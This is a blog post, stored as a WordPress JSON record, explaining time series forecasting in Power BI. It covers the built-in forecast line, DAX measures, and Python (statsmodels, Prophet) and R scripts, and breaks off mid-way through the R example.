{"id":12456,"date":"2025-07-06T13:39:03","date_gmt":"2025-07-06T07:54:03","guid":{"rendered":"https:\/\/nestnepal.com\/blog\/?p=12456"},"modified":"2026-06-26T05:09:42","modified_gmt":"2026-06-26T05:09:42","slug":"time-series-forecasting-in-power-bi-easy-guide","status":"publish","type":"post","link":"https:\/\/nestnepal.com\/blog\/time-series-forecasting-in-power-bi-easy-guide\/","title":{"rendered":"Time Series Forecasting Using Power BI"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Time series forecasting in <a href=\"https:\/\/nestnepal.com\/microsoft-power-bi-in-nepal\/\">Power BI<\/a> is one of those features that looks deceptively simple on the surface but has serious depth when you need it. Whether you&#8217;re predicting sales, inventory needs, or customer demand, Power BI gives you multiple approaches ranging from one-click forecasting to sophisticated custom models using Python and R.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"735\" height=\"534\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/forecasting.jpeg\" alt=\"forecasting\" class=\"wp-image-12459\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/forecasting.jpeg 735w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/forecasting-300x218.jpeg 300w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/forecasting-380x276.jpeg 380w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/forecasting-550x400.jpeg 550w\" sizes=\"auto, (max-width: 735px) 100vw, 735px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The key is knowing which approach fits your data and business needs. Let&#8217;s break down everything from the built-in analytics line to building custom ARIMA models that would make a data scientist proud.<\/p>\n\n\n\n<h2 id=\"understanding-time-series-data-in-power-bi\" class=\"wp-block-heading\"><strong>Understanding Time Series Data in Power BI<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before we jump into forecasting methods, let&#8217;s get the data structure right. Time series forecasting in Power BI works best when your data follows these principles:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Essential Data Structure:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Date\/time column (properly formatted as Date type)<\/li>\n\n\n\n<li>Numeric measure to forecast<\/li>\n\n\n\n<li>Consistent time intervals (daily, weekly, monthly)<\/li>\n\n\n\n<li>Sufficient historical data (at least 2-3 cycles of your pattern)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Common Data Issues That Break Forecasting:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-01: 100<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-03: 120&nbsp; \/\/ Missing Jan 2nd<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-08: 110&nbsp; \/\/ Gap of 5 days<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-01: 100<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-02: 120<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>2024-01-03: 110<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Power BI&#8217;s forecasting algorithms expect regular intervals. If you have gaps, you&#8217;ll need to fill them or aggregate to a consistent level first.<\/p>\n\n\n\n<h2 id=\"method-1-built-in-analytics-line-the-quick-win\" class=\"wp-block-heading\"><strong>Method 1: Built-in Analytics Line (The Quick Win)<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Power BI&#8217;s Analytics line is the fastest way to add forecasting to any line chart. Right-click on any line chart, go to Analytics and add a Forecast line. It&#8217;s that simple.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What it does under the hood:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Uses exponential smoothing algorithms<\/li>\n\n\n\n<li>Automatically detects seasonality<\/li>\n\n\n\n<li>Provides confidence intervals<\/li>\n\n\n\n<li>Handles missing values reasonably well<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Best for:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Quick business insights<\/li>\n\n\n\n<li>Data with clear trends and seasonality<\/li>\n\n\n\n<li>When you need something fast for presentations<\/li>\n\n\n\n<li>Non-technical users who want forecasts<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Configuration options:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Forecast length (how many periods ahead)<\/li>\n\n\n\n<li>Confidence interval (usually 95%)<\/li>\n\n\n\n<li>Seasonality detection (auto or manual)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Example use case:<\/strong> Monthly sales data with seasonal patterns. Add a forecast line to see next quarter&#8217;s expected performance with confidence bands.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Analytics line works great for standard business scenarios, but it&#8217;s a black box. You can&#8217;t see the underlying model parameters or customize the algorithm. For more control, you need custom approaches.<\/p>\n\n\n\n<h2 id=\"method-2-dax-based-forecasting\" class=\"wp-block-heading\"><strong>Method 2: DAX-Based Forecasting<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For more control over your forecasting logic, you can build custom forecasting measures using <a href=\"https:\/\/nestnepal.com\/blog\/dax-in-power-bi-with-14-understandable-examples\/\">DAX<\/a>. This approach gives you transparency and allows for business-specific adjustments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Simple Moving Average Forecast:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Moving Average Forecast =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR CurrentDate = MAX(&#8216;Date'[Date])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR PeriodLength = 3&nbsp; \/\/ 3-period moving average<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR HistoricalValues =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;CALCULATETABLE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VALUES(&#8216;Sales'[Amount]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DATESBETWEEN(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Date'[Date],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CurrentDate &#8211; PeriodLength,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CurrentDate<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>RETURN<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;AVERAGEX(HistoricalValues, &#8216;Sales'[Amount])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exponential Smoothing with DAX:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Exponential Smoothing Forecast =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR Alpha = 0.3&nbsp; \/\/ Smoothing parameter<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR CurrentDate = MAX(&#8216;Date'[Date])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR CurrentValue = SUM(&#8216;Sales'[Amount])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR PreviousForecast =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;CALCULATE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[Exponential Smoothing Forecast],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Date'[Date] = CurrentDate &#8211; 1<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR InitialForecast =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;CALCULATE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AVERAGE(&#8216;Sales'[Amount]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Date'[Date] &lt;= CurrentDate &#8211; 30<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>RETURN<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;IF(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ISBLANK(PreviousForecast),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitialForecast,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Alpha * CurrentValue + (1 &#8211; Alpha) * PreviousForecast<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Seasonal Adjustment with DAX:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Seasonal Forecast =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR CurrentMonth = MONTH(MAX(&#8216;Date'[Date]))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR SeasonalIndex =&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;DIVIDE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CALCULATE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AVERAGE(&#8216;Sales'[Amount]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MONTH(&#8216;Date'[Date]) = CurrentMonth,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Date'[Date] &lt; MAX(&#8216;Date'[Date])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CALCULATE(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AVERAGE(&#8216;Sales'[Amount]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;Date'[Date] &lt; MAX(&#8216;Date'[Date])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>VAR TrendForecast = [Moving Average Forecast]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>RETURN<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;TrendForecast * SeasonalIndex<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pros of DAX forecasting:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Full transparency and control<\/li>\n\n\n\n<li>Can incorporate business rules<\/li>\n\n\n\n<li>Fast execution<\/li>\n\n\n\n<li>Easy to modify and test<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Cons:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Limited to simple algorithms<\/li>\n\n\n\n<li>Requires strong DAX skills<\/li>\n\n\n\n<li>No built-in statistical validation<\/li>\n<\/ul>\n\n\n\n<h2 id=\"method-3-python-integration-for-advanced-forecasting\" class=\"wp-block-heading\"><strong>Method 3: Python Integration for Advanced Forecasting<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This is where Power BI really shines for serious time series work. You can use Python&#8217;s extensive forecasting libraries directly within Power BI.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Setting up Python forecasting in Power Query:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>import pandas as pd<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>import numpy as np<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from statsmodels.tsa.holtwinters import ExponentialSmoothing<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from statsmodels.tsa.arima.model import ARIMA<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from sklearn.metrics import mean_absolute_error, mean_squared_error<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>import warnings<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>warnings.filterwarnings(&#8216;ignore&#8217;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Power BI provides &#8216;dataset&#8217; DataFrame<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset[&#8216;date&#8217;] = pd.to_datetime(dataset[&#8216;date&#8217;])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset = dataset.sort_values(&#8216;date&#8217;).reset_index(drop=True)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create time series<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>ts = dataset.set_index(&#8216;date&#8217;)[&#8216;sales&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Ensure regular frequency<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>ts = ts.asfreq(&#8216;D&#8217;, method=&#8217;pad&#8217;)&nbsp; # Daily frequency, forward fill<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Split data for validation<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>train_size = int(len(ts) * 0.8)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>train, test = ts[:train_size], ts[train_size:]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Multiple forecasting methods<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecasts = {}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 1. Exponential Smoothing<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>es_model = ExponentialSmoothing(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;train,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;trend=&#8217;add&#8217;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;seasonal=&#8217;add&#8217;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;seasonal_periods=7&nbsp; # Weekly seasonality<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>).fit()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecasts[&#8216;exponential_smoothing&#8217;] = es_model.forecast(len(test))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 2. ARIMA Model<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Auto-select parameters (this can be slow with large datasets)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>arima_model = ARIMA(train, order=(1, 1, 1)).fit()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecasts[&#8216;arima&#8217;] = arima_model.forecast(len(test))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 3. Simple seasonal decomposition<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from statsmodels.tsa.seasonal import seasonal_decompose<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>decomposition = seasonal_decompose(train, model=&#8217;additive&#8217;, period=7)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>trend_forecast = np.full(len(test), decomposition.trend.dropna().iloc[-1])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>seasonal_forecast = np.tile(decomposition.seasonal[:7], len(test)\/\/7 + 1)[:len(test)]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecasts[&#8216;seasonal_decomp&#8217;] = trend_forecast + seasonal_forecast<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Calculate accuracy metrics<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>accuracies = {}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>for method, forecast in forecasts.items():<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;mae = mean_absolute_error(test, forecast)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;rmse = np.sqrt(mean_squared_error(test, forecast))<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;accuracies[method] = {&#8216;MAE&#8217;: mae, &#8216;RMSE&#8217;: rmse}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Choose best method (lowest RMSE)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>best_method = min(accuracies.items(), key=lambda x: x[1][&#8216;RMSE&#8217;])[0]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>best_forecast = forecasts[best_method]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Generate future forecasts<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>future_periods = 30&nbsp; # Forecast 30 days ahead<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>if best_method == &#8216;exponential_smoothing&#8217;:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;future_forecast = es_model.forecast(future_periods)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>elif best_method == &#8216;arima&#8217;:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;future_forecast = arima_model.forecast(future_periods)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>else:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;# Extend seasonal decomposition<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;last_trend = decomposition.trend.dropna().iloc[-1]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;future_seasonal = np.tile(decomposition.seasonal[:7], future_periods\/\/7 + 1)[:future_periods]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;future_forecast = np.full(future_periods, last_trend) + future_seasonal<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create forecast DataFrame<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>future_dates = pd.date_range(start=ts.index[-1] + pd.Timedelta(days=1), periods=future_periods, freq=&#8217;D&#8217;)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_df = pd.DataFrame({<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;date&#8217;: future_dates,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;forecast&#8217;: future_forecast,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;method&#8217;: best_method,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;is_forecast&#8217;: True<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>})<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Combine historical and forecast data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df = dataset.copy()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df[&#8216;forecast&#8217;] = historical_df[&#8216;sales&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df[&#8216;method&#8217;] = &#8216;actual&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>historical_df[&#8216;is_forecast&#8217;] = False<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Final output<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset = pd.concat([historical_df, forecast_df], ignore_index=True)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Advanced Python Forecasting with Facebook Prophet:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>import pandas as pd<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>from prophet import Prophet<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Prophet expects specific column names<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>prophet_data = dataset.rename(columns={&#8216;date&#8217;: &#8216;ds&#8217;, &#8216;sales&#8217;: &#8216;y&#8217;})<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create and fit model<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model = Prophet(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;daily_seasonality=True,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;weekly_seasonality=True,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;yearly_seasonality=True,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;changepoint_prior_scale=0.05&nbsp; # Adjust for trend flexibility<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Add custom seasonalities if needed<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.add_seasonality(name=&#8217;monthly&#8217;, period=30.5, fourier_order=5)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>model.fit(prophet_data)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create future dates<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>future = model.make_future_dataframe(periods=90, freq=&#8217;D&#8217;)&nbsp; # 90 days ahead<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Generate forecast<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast = model.predict(future)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Extract relevant columns<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset = forecast[[&#8216;ds&#8217;, &#8216;yhat&#8217;, &#8216;yhat_lower&#8217;, &#8216;yhat_upper&#8217;]].rename(columns={<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;ds&#8217;: &#8216;date&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;yhat&#8217;: &#8216;forecast&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;yhat_lower&#8217;: &#8216;forecast_lower&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&#8216;yhat_upper&#8217;: &#8216;forecast_upper&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>})<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Add forecast flag<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset[&#8216;is_forecast&#8217;] = dataset[&#8216;date&#8217;] &gt; prophet_data[&#8216;ds&#8217;].max()<\/em><\/p>\n\n\n\n<h2 id=\"method-4-r-integration-for-statistical-forecasting\" class=\"wp-block-heading\"><strong>Method 4: R Integration for Statistical Forecasting<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">R&#8217;s forecasting capabilities are incredibly sophisticated, especially for complex seasonal patterns and automatic model selection.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Comprehensive R forecasting in Power Query:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>library(forecast)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>library(tseries)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>library(dplyr)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Convert to time series<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset$date &lt;- as.Date(dataset$date)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>dataset &lt;- dataset %&gt;% arrange(date)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create time series object<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>ts_data &lt;- ts(dataset$sales, frequency = 7)&nbsp; # Weekly seasonality<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Multiple forecasting approaches<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_models &lt;- list()<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 1. Auto ARIMA (best practice)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>forecast_models$auto_arima &lt;- auto.arima(ts_data, seasonal = TRUE, stepwise = 